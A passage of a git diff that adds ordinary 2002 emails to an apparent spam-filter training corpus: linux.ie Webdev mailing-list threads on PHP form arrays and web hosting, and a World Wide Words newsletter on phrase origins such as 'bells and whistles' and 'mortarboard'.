understand it that's the "official" way to get data from +a SELECT MULTIPLE using PHP. + +Dave + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00519.dbabb40aba559ddcf7d00cf6f483f215 b/bayes/spamham/easy_ham_2/00519.dbabb40aba559ddcf7d00cf6f483f215 new file mode 100644 index 0000000..27823ad --- /dev/null +++ b/bayes/spamham/easy_ham_2/00519.dbabb40aba559ddcf7d00cf6f483f215 @@ -0,0 +1,73 @@ +From webdev-admin@linux.ie Tue Aug 20 11:52:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9465B43C4A + for ; Tue, 20 Aug 2002 06:51:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:45 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K95qZ31692 for + ; Tue, 20 Aug 2002 10:05:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA23633; Tue, 20 Aug 2002 10:05:41 +0100 +Received: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA23595 for ; Tue, + 20 Aug 2002 10:05:35 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.75.2.27] claimed to + be mail.tradesignals.com +Received: from docaoimh.tradesignals.com (docaoimh.tradesignals.com + [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id + g7K95Vm15086; Tue, 20 Aug 2002 10:05:31 +0100 +Received: from localhost (localhost [[UNIX: localhost]]) by + docaoimh.tradesignals.com (8.11.6/8.11.6) id g7K92qf04171; Tue, + 20 Aug 2002 10:02:52 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: Donncha O Caoimh +To: Dave Wilson , webdev@linux.ie +Subject: Re: [Webdev] PHP+Javascript request +Date: Tue, 20 Aug 2002 10:02:52 +0100 +X-Mailer: KMail [version 1.4] +References: <5.1.0.14.0.20020819181835.00ac0eb8@holly.csn.ul.ie> + <3D612ACA.4050100@heanet.ie> +In-Reply-To: <3D612ACA.4050100@heanet.ie> +MIME-Version: 1.0 +Message-Id: <200208201002.52675.donncha.ocaoimh@tradesignals.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA23595 +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +Kate asked about this several months ago, and I posted some code and hints on +how to work around this problem. AFAIR, you simply refer to the form elements +by their names, including brackets, but put " or ' around them, ie: + +val = "document.form.city[1]"; + +I think that works, there's an answer to this question on http://faqts.com/ +where I got the original answer. + +Donncha. + +On Monday 19 August 2002 18:28, Dave Wilson wrote: +> > er, i understood you until you reached the above. Maybe its my lack of +> > PHP but why would a variable name _need_ to end with [] ? +> > +> > With most languages you parse the submitted form data and should come +> > out with either variables or an array / hash, which you then work with +> > and name whatever you like. +> +> IIRC, if the query string contains +> + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00520.f413e3949093cb0a998c6bcb0123b809 b/bayes/spamham/easy_ham_2/00520.f413e3949093cb0a998c6bcb0123b809 new file mode 100644 index 0000000..b333dca --- /dev/null +++ b/bayes/spamham/easy_ham_2/00520.f413e3949093cb0a998c6bcb0123b809 @@ -0,0 +1,69 @@ +From webdev-admin@linux.ie Tue Aug 20 18:52:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 02CC943C34 + for ; Tue, 20 Aug 2002 13:52:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 18:52:26 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KHrrZ18007 for + ; Tue, 20 Aug 2002 18:53:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA16734; Tue, 20 Aug 2002 18:53:50 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA16693 for ; Tue, + 20 Aug 2002 18:53:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-50.bas1.dbn.dublin.eircom.net + (k100-50.bas1.dbn.dublin.eircom.net [159.134.100.50]) by mail.go2.ie + (Postfix) with ESMTP id 973DA1105 for ; Tue, + 20 Aug 2002 18:53:12 +0100 (IST) +Subject: Re: [Webdev] PHP+Javascript request +From: Nick Murtagh +To: webdev@linux.ie +In-Reply-To: <3D612ACA.4050100@heanet.ie> +References: <5.1.0.14.0.20020819181835.00ac0eb8@holly.csn.ul.ie> + <3D612ACA.4050100@heanet.ie> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-2mdk +Date: 20 Aug 2002 18:49:35 +0100 +Message-Id: <1029865776.2182.6.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +On Mon, 2002-08-19 at 18:28, Dave Wilson wrote: +> IIRC, if the query string contains +> +> varname=FIRST&varname=SECOND +> +> then PHP will create a variable called "varname" with result SECOND. +> However, if the query string contains +> +> varname[]=FIRST&varname[]=SECOND +> +> then PHP will create an array with varname[1]==FIRST and varname[2]==SECOND + +By far the coolest solution to this would be to "fix" php :) +Take a look at main/php_variables.c in the php source distribution. +You could mess around with the variable is_array in +php_register_variable_ex() and see if you can force all variables to be +arrays :) As far as I can tell the reason they do this is to save +time by not having to work out which variables have multiple values. + +Nick + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00521.1142a34d4fa26153d40064954ca10da9 b/bayes/spamham/easy_ham_2/00521.1142a34d4fa26153d40064954ca10da9 new file mode 100644 index 0000000..ca56d8f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00521.1142a34d4fa26153d40064954ca10da9 @@ -0,0 +1,75 @@ +From webdev-admin@linux.ie Thu Aug 22 10:46:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 215D343C41 + for ; Thu, 22 Aug 2002 05:46:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LIjdZ05536 for + ; Wed, 21 Aug 2002 19:45:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA16297; Wed, 21 Aug 2002 19:45:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id TAA16226 for ; Wed, + 21 Aug 2002 19:44:58 +0100 +From: elvin@eircom.net +Message-Id: <200208211844.TAA16226@lugh.tuatha.org> +Received: (qmail 38756 messnum 33833 invoked from + network[159.134.237.78/wendell.eircom.net]); 21 Aug 2002 18:44:28 -0000 +Received: from wendell.eircom.net (HELO webmail.eircom.net) + (159.134.237.78) by mail02.svc.cra.dublin.eircom.net (qp 38756) with SMTP; + 21 Aug 2002 18:44:28 -0000 +To: webdev@linux.ie +Date: Wed, 21 Aug 2002 19:44:28 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 143.239.65.188 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Subject: [Webdev] PHP/MySQL Virtual Hosting Recommendations? +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +Hi, + +I am looking at the options for a UNIX/Linux Virtual Server capable of holding multiple domains - preferably not tooo expensive as I am not a business. I wish to build a few PHP/MySQL sites and host them... + +A rough list of features I am after are + +Circa 50MB-100MB web space for now +POP email accounts +Account Control Panel +Perl +PHP +MySQL +FTP and Telnet Access 24/7 +Own CGI-BIN +Webalizer Graphical Stats +Server Side Includes +Good Reachable Technical Support + +I have seen a great looking 300MB solution in the region of 600Euro p.a. which at the moment is a bit over my financial head in one payment - I haven't completed any sites yet, but have a few potential jobs coming up. + +Any tips/pointers much appreciated! + +Regards, +Elvin + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00522.50b10d21dc95b7ac83c48f1efa6455dc b/bayes/spamham/easy_ham_2/00522.50b10d21dc95b7ac83c48f1efa6455dc new file mode 100644 index 0000000..0e239e3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00522.50b10d21dc95b7ac83c48f1efa6455dc @@ -0,0 +1,94 @@ +From webdev-admin@linux.ie Thu Aug 22 10:46:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B58D443C4B + for ; Thu, 22 Aug 2002 05:46:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M8lRZ32020 for + ; Thu, 22 Aug 2002 09:47:27 +0100 +Received: from lugh (www-data@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA19088; Thu, 22 Aug 2002 09:47:27 +0100 +Received: from orion.jtlnet.com ([209.115.42.142]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id BAA31632 for ; Thu, + 22 Aug 2002 01:00:35 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [209.115.42.142] claimed + to be orion.jtlnet.com +Received: from k100-73.bas1.dbn.dublin.eircom.net ([159.134.100.73] + helo=nmtbmedia) by orion.jtlnet.com with smtp (Exim 3.35 #1) id + 17hfQ0-0004Lm-00 for webdev@linux.ie; Wed, 21 Aug 2002 20:01:45 -0400 +From: "AJ McKee" +To: +Date: Thu, 22 Aug 2002 01:00:29 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Antiabuse: This header was added to track abuse, please include it with + any abuse report +X-Antiabuse: Primary Hostname - orion.jtlnet.com +X-Antiabuse: Original Domain - linux.ie +X-Antiabuse: Originator/Caller UID/GID - [0 0] / [0 0] +X-Antiabuse: Sender Address Domain - nmtbmedia.com +Subject: [Webdev] Very nice tool +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +Hi all, + +Normally I would not post such things, but this is really cool for a +visual idea of how ppl are linking to you +http://www.touchgraph.com/TGGoogleBrowser.html + +It may not work from the submit button, but one the java appelet is +loaded then try your URL. Its really quite nice. + +Aj + +- ---------------------------------------- +AJ McKee +NMTB media + +Phone: (Europe) +353 1 473 53 72 + (North America) +1 206 339 4326 + +Fax: (Europe) +353 1 473 53 73 + (North America) +1 206 339 4326 + +Website: http://www.nmtbmedia.com +- ----------------------------------------- + + + +-----BEGIN PGP SIGNATURE----- +Version: PGPfreeware 6.5.8 for non-commercial use +Comment: PGP/GPG Keys located at http://www.nmtbmedia.com/keys/ + +iQA/AwUBPWQpnIHmA/TOOP95EQLE6gCcDlPEdah2rBmwTNUixPi4aung3g8AoJTK +llXGK8OOdlMSV/0o3YynpOEa +=Kxad +-----END PGP SIGNATURE----- + + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00523.af946124a6fe4b8913ea4bb65f5d2df3 b/bayes/spamham/easy_ham_2/00523.af946124a6fe4b8913ea4bb65f5d2df3 new file mode 100644 index 0000000..fa5f52a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00523.af946124a6fe4b8913ea4bb65f5d2df3 @@ -0,0 +1,79 @@ +From webdev-admin@linux.ie Thu Aug 22 10:46:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBD5F43C42 + for ; Thu, 22 Aug 2002 05:46:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M95hZ32534 for + ; Thu, 22 Aug 2002 10:05:43 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA19953; Thu, 22 Aug 2002 10:05:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay01.esat.net (relay01.esat.net [192.111.39.11]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA19915 for ; + Thu, 22 Aug 2002 10:05:11 +0100 +Received: from (lee.csn.ul.ie) [193.95.184.122] by relay01.esat.net with + esmtp id 17hntu-0008Ns-00; Thu, 22 Aug 2002 10:05:11 +0100 +Message-Id: <5.1.0.14.0.20020822094822.02756b28@holly.csn.ul.ie> +X-Sender: hostyle@holly.csn.ul.ie +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Date: Thu, 22 Aug 2002 10:01:12 +0100 +To: webdev@linux.ie +From: Lee Hosty +Subject: Re: [Webdev] PHP/MySQL Virtual Hosting Recommendations? +In-Reply-To: <200208211844.TAA16226@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +At 07:44 PM 21/08/2002 +0100, elvin@eircom.net wrote: + +>Circa 50MB-100MB web space for now +>POP email accounts +>Account Control Panel +>Perl +>PHP +>MySQL +>FTP and Telnet Access 24/7 + +You'll be lucky to get telnet anywhere, SSH should do though. + +>Own CGI-BIN +>Webalizer Graphical Stats +>Server Side Includes +>Good Reachable Technical Support +> +>I have seen a great looking 300MB solution in the region of 600Euro p.a. +>which at the moment is a bit over my financial head in one payment - I +>haven't completed any sites yet, but have a few potential jobs coming up. +> +>Any tips/pointers much appreciated! + +Try www.hosting365.ie - they haven't let me down yet. + +You could try iewebs.com aswell, though I don't know if they do "just hosting". + + +Lee Hosty -x- hostyle AT csn.ul.ie -x- +353 (0)86 8768780 +-- +PLEELEY (adj.) +Descriptive of a drunk person's attempt to be endearing. + + + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00524.a1769453cf16388f038ca9ebc8cc7b71 b/bayes/spamham/easy_ham_2/00524.a1769453cf16388f038ca9ebc8cc7b71 new file mode 100644 index 0000000..a5a8625 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00524.a1769453cf16388f038ca9ebc8cc7b71 @@ -0,0 +1,69 @@ +From webdev-admin@linux.ie Thu Aug 22 10:46:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D8B5943C4C + for ; Thu, 22 Aug 2002 05:46:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M9aiZ00853 for + ; Thu, 22 Aug 2002 10:36:44 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA21413; Thu, 22 Aug 2002 10:36:46 +0100 +Received: from motornet.ie ([62.221.11.102]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id KAA21378 for ; Thu, + 22 Aug 2002 10:36:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.221.11.102] claimed to + be motornet.ie +Received: (qmail 779 invoked by uid 85); 22 Aug 2002 09:32:15 -0000 +Received: from lists@spamfilter.cc by www.motornet.ie with + qmail-scanner-1.03 (uvscan: v4.1.60/v4179. . Clean. Processed in 0.305009 + secs); 22 Aug 2002 09:32:15 -0000 +Received: from unknown (HELO Development05) (172.16.255.79) by 0 with SMTP; + 22 Aug 2002 09:32:15 -0000 +From: "adam" +To: +Subject: RE: [Webdev] PHP/MySQL Virtual Hosting Recommendations? +Date: Thu, 22 Aug 2002 10:38:40 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: <5.1.0.14.0.20020822094822.02756b28@holly.csn.ul.ie> +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +Hi Lee, + ++ You could try iewebs.com aswell, though I don't know if they do ++ "just hosting". ++ +Heh, you won't find much on iewebs.com these days. Apache test page. + +For future reference, ieWebs is /kind of/ defunct -- I won't be able to do +private devel projects for a while, so I'm not actively pushing it. I still +do hosting and domreg, but I only do vanilla accounts unless I know the user +reasonably well. I have trust issues. + +Thanks for the plug though. Just like me to no longer have a website when it +happens. :) + +adam + + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + diff --git a/bayes/spamham/easy_ham_2/00525.b4f3489039137593e0afc1db9ba466cb b/bayes/spamham/easy_ham_2/00525.b4f3489039137593e0afc1db9ba466cb new file mode 100644 index 0000000..c1e05a9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00525.b4f3489039137593e0afc1db9ba466cb @@ -0,0 +1,299 @@ +From owner-worldwidewords@LISTSERV.LINGUISTLIST.ORG Mon Jul 22 17:37:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 02069440C8 + for ; Mon, 22 Jul 2002 12:37:10 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:37:10 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6K43mJ07126 for + ; Sat, 20 Jul 2002 05:03:48 +0100 +Received: from listserv.linguistlist.org (listserv.linguistlist.org + [164.76.102.107]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP + id g6K43jp02682 for ; Sat, 20 Jul 2002 05:03:46 +0100 +Received: (qmail 28081 invoked from network); 20 Jul 2002 04:01:21 -0000 +Received: from listserv.linguistlist.org (HELO listserv) (164.76.102.107) + by listserv.linguistlist.org with SMTP; 20 Jul 2002 04:01:21 -0000 +Received: from LISTSERV.LINGUISTLIST.ORG by LISTSERV.LINGUISTLIST.ORG + (LISTSERV-TCP/IP release 1.8d) with spool id 432422 for + WORLDWIDEWORDS@LISTSERV.LINGUISTLIST.ORG; Sat, 20 Jul 2002 00:00:46 -0400 +Approved-BY: DoNotUse@WORLDWIDEWORDS.ORG +Delivered-To: worldwidewords@listserv.linguistlist.org +Received: (qmail 18243 invoked from network); 19 Jul 2002 18:33:02 -0000 +Received: from pc-80-192-8-147-az.blueyonder.co.uk (HELO dhcp-38-22) + (80.192.8.147) by listserv.linguistlist.org with SMTP; 19 Jul 2002 + 18:33:02 -0000 +Received: from prospero (prospero.tempest.lan [192.168.14.10]) by + dhcp-38-22 (8.11.6/8.11.6) with ESMTP id g6JIX0f01800 for + ; Fri, 19 Jul 2002 19:33:01 + +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7BIT +Priority: normal +X-Mailer: Pegasus Mail for Win32 (v3.12c) +Message-Id: <3D38696A.4471.323C24@localhost> +Date: Fri, 19 Jul 2002 19:32:58 +0100 +Reply-To: DoNotUse@WORLDWIDEWORDS.ORG +Sender: World Wide Words +From: Michael Quinion +Organization: World Wide Words +Subject: World Wide Words -- 20 Jul 02 +To: WORLDWIDEWORDS@LISTSERV.LINGUISTLIST.ORG + +WORLD WIDE WORDS ISSUE 296 Saturday 20 July 2002 +------------------------------------------------------------------- +Sent each Saturday to 15,000+ subscribers in at least 119 countries +Editor: Michael Quinion, Thornbury, Bristol, UK ISSN 1470-1448 + +------------------------------------------------------------------- + IF YOU RESPOND TO THIS MAILING, REMEMBER TO CHANGE THE OUTGOING + ADDRESS TO ONE OF THOSE IN THE 'CONTACT ADDRESSES' SECTION. + + +Contents +------------------------------------------------------------------- +1. Turns of Phrase: Beanpole family. +2. Weird Words: Jobbernowl. +3. Beyond Words. +4. Q&A: Chip off the old block; Bells and whistles; Mortarboard. +5. Endnote. +6. Subscription commands. +7. Contact addresses. + + +1. Turns of Phrase: Beanpole family +------------------------------------------------------------------- +Historically, families have usually had more children than parents, +resulting in family trees that looked like pyramids. However, in +recent years, especially in countries like Britain and the US, the +number of children per generation has steadily gone down, while +life span has increased. This has led to a shape of family tree +that some researchers have likened to a beanpole - tall and thin, +with few people in each generation. The term "beanpole family" has +been around in the academic literature at least since 1987, but it +rarely appears elsewhere. A recent British report has brought it to +wider public notice, at least in the UK. Some researchers find it +too slangy and prefer the jargon term "verticalised" to describe +such families. Whatever term you prefer, specialists are sure that +the demographic shift is having a big effect on personal +relationships within the family and (for example) the role of +grandparents. + +The rising divorce rate partly explains the growth of the +'beanpole' family. With almost one in two marriages ending in +divorce, many adults have at least two families, each with a single +child. + ["Observer", May 2002] + +Noting the rising number of so-called 'beanpole' families in +Britain (families with only one child), the report warns that a +child without siblings 'is starved of the companionship of family +members of their own age ... [leading to] greater social isolation, +with teenagers adopting a more selfish attitude to life'. + ["Guardian", June 2002] + + +2. Weird Words: Jobbernowl +------------------------------------------------------------------- +A stupid person, a blockhead. + +Unfortunately, this useful and effective insult has rather dropped +out of use in these mealy-mouthed times. The last excursion for it +that I can find is in the classic W C Fields film "The Bank Dick" +of 1940, in which the word occurs in a variant form in the line: +"Surely, don't be a luddie-duddie, don't be a moon-calf, don't be a +jabbernow, you're not those, are you?". Before that, it turns up in +one of the novels of Hall Caine in 1890, but even by then it seems +to have been rather rare. + +It's from the old French "jobard", from "jobe", silly. That word +was then added to "noll", the top or crown of the head, the noddle. +The first sense was of a block-like or stupid-looking head, but was +soon extended to refer to the quality of the mind within. +"Jobbernowlism" is the condition or state of being a "jobbernowl", +or an act or remark that is especially stupid. + +Careful how you use it: the recipient might be a subscriber! + + +3. Beyond Words +------------------------------------------------------------------- +I've been away at a heritage conference in Colchester these past +few days. On my way back, my eye was caught by this warning sign +posted above some steps at the local railway station: + + Caution + Do not run on the stairs + Use the hand rail + + +4. Q&A +------------------------------------------------------------------- +Q. For my job I have to read American magazines concerning consumer +electronics, home systems, burglar alarms, etc. I very often come +across the expression "bells and whistles", which seem to relate to +equipment, accessories or features that are offered to the customer +as plusses but are not really indispensable for the device to work. +Is that right? And where does that funny phrase come from? [Herve +Castelain, France] + +Q. You're right about the meaning of this phrase, which refers to +gimmicks - non-essential but often engaging features added to a +piece of technical equipment or a computer program to make it seem +more superficially attractive without enhancing its main function. + +The phrase is actually quite modern and may be a product of the +American military. At least, one of its earliest appearances was in +an article in "Atlantic" in October 1982, which said it was +"Pentagon slang for extravagant frills". There's some evidence that +the term has actually been around since the 1960s, but the early +evidence is sparse. + +Where it comes from is still a matter of learned debate. A literal +sense of the phrase appeared around the middle of the nineteenth +century, referring to streetcars, railways and steamships. Before +modern electronics, there were really only two ways to make a loud +warning noise - you either rang a bell or tooted a whistle. Steam +made the latter a real power in the land (anybody who has heard the +noisy out-of-tune calliope on the steamboat Natchez at New Orleans +will agree about its power, though less so about its glory). And at +one time "clang, clang, clang went the trolley" in large numbers of +American cities. + +At least some early US railroad locomotives had both bells and +whistles, as this extract from an article in "Appleton's Journal" +of 1876 shows: + + You look up at an angle of sixty degrees and see sweeping + along the edge of a precipice, two-thirds up the rocky + height, a train of red-and-yellow railway-cars, drawn by + two wood-burning engines, the sound of whose bells and + whistles seems like the small diversions of very little + children, so diminished are they by the distance. + +Could it be that to have both bells and whistles was thought +excessive, a case of belt and braces, an unnecessary feature, a +frill? + +Possibly. But it's more probable the slang sense of the term comes +from that close musical relative of the calliope, the theatre +organ. Extraordinary instruments such as the Mighty Wurlitzer +augmented their basic repertoire by all sorts of sound effects to +help the organist accompany silent films, among them car horns, +sirens, and bird whistles. These effects were called toys, and +organs often had "toy counters" with 20 or more noisemakers on +them, including various bells and whistles. In the 1950s, decades +after the talkies came in, but while theatre organs were still +common in big movie houses, these fun features must have been +considered no longer essential to the function of the organ but +mere fripperies, inessential add-ons. + +It's possible the slang sense grew out of that. It got taken up +especially by the computing industry, perhaps because opportunities +to add them are so great. + + ----------- + +Q. The designation of "robes" for academic dress clearly comes from +its origin with the clergy in the Middle Ages. But what about +"mortarboards"? The best I could find was its origin in the 12th or +13th century clergy cap, but that was not square-shaped. Does +"mortarboard" refer to the guilds or is its origin more ancient? + +A. The academic cap often called a "mortarboard" is quite ancient, +but that word for it only dates from the middle of the nineteenth +century (a less slangy way to identify it is to call it a +"square"). The literal mortar board is the wooden plate, usually +with a handle underneath, on which bricklayers carry small amounts +of mortar. A similar tool is used by plasterers, but they usually +call it a hawk. + +What seems to have happened is that the similarity in shape between +the brickie's board and the academic cap led some wag, probably at +Oxford University, to apply the name of the one to the other. Our +first recorded use is in a book of 1853-6, "The Adventures of Mr. +Verdant Green, an Oxford Freshman" by a clergyman named Edward +Bradley, who wrote under the pen name of Cuthbert Bede (the names +of the two patron saints of Durham, where he went to school). +Verdant Green is a sort of undergraduate Pickwick and the book +recounts his adventures. This magisterial reprimand by a don +appears after one such escapade: "I will overlook your offence in +assuming that portion of the academical attire, to which you gave +the offensive epithet of 'mortar-board'; more especially, as you +acted at the suggestion and bidding of those who ought to have +known better". + +After a slow start, the book became a huge success, selling more +than 200,000 copies in the next 20 years. Whether Mr Bradley +invented the slang term we may never know, but his book certainly +popularised it. + + ----------- + +Q. I got into a discussion about "chip off the old block" with +friends, and we are wondering if it had to do with sculpting, +jewelry making, woodworking, or none of the above. What does this +term mean, and where did it come from? [Vijay Renganathan] + +A. The associations are with carpentry, and the block is definitely +made of wood. + +The first form of the expression was "chip of the same block", +meaning that a person or thing was made of the same stuff as +somebody or something else, so from the same source or parentage. +An early example is in a sermon by Dr Robert Sanderson (at one time +Bishop of Lincoln), dated 1637: "Am not I a child of the same Adam +... a chip of the same block, with him?". + +Later that century, another form is recorded "a chip of the old +block", which meant that somebody was the spitting image of his +father, or continued some family characteristic. At some point, +probably late in the nineteenth century, this was modified to "a +chip off the old block", which does nothing to change the sense, +but is the way it's now usually written or said. + + +5. Endnote +------------------------------------------------------------------- +"The sum of human wisdom is not contained in any one language, and +no single language is capable of expressing all forms and degrees +of human comprehension." [Ezra Pound, quoted by David Crystal in +the "Guardian", 25 October 1999] + + +6. Subscription commands +------------------------------------------------------------------- +To leave the list, change your subscription address, or subscribe, +please visit . + +Or, you can send a message to +from the address at which you are (or want to be) subscribed: + + To leave, send: SIGNOFF 